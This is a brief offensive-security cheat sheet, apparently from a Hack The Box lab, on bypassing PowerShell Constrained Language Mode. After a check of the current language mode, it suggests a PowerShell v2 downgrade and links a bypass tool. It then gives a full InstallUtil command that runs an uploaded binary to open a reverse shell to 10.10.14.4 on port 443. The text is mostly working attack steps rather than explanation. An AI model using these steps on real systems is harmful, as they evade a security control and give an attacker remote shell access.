powershell constrained language byass

methods to bypass powershell constrained language mode

Constrained Language Mode in short locks down the nice features of Powershell usually required for complex attacks to be carried out.

To view if you are in ConstrainedLangauage:

PS htb\amanda@SIZZLE v2.0.50727> $executioncontext.sessionstate.languagemode 
ConstrainedLanguage 

Powershell2 downgrade

You can try and bypass by downgrading to powershell v2:

powershell -version 2

PSByPassCLM

Download: https://github.com/padovah4ck/PSByPassCLM/blob/master/PSBypassCLM/PSBypassCLM/bin/x64/Debug/PsBypassCLM.exe

Upload that as a.exe and run:

PS htb\amanda@SIZZLE Documents> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U /revshell=true /rhost=10.10.14.4 /rport=443 \users\amanda\appdata\local\temp\a.exe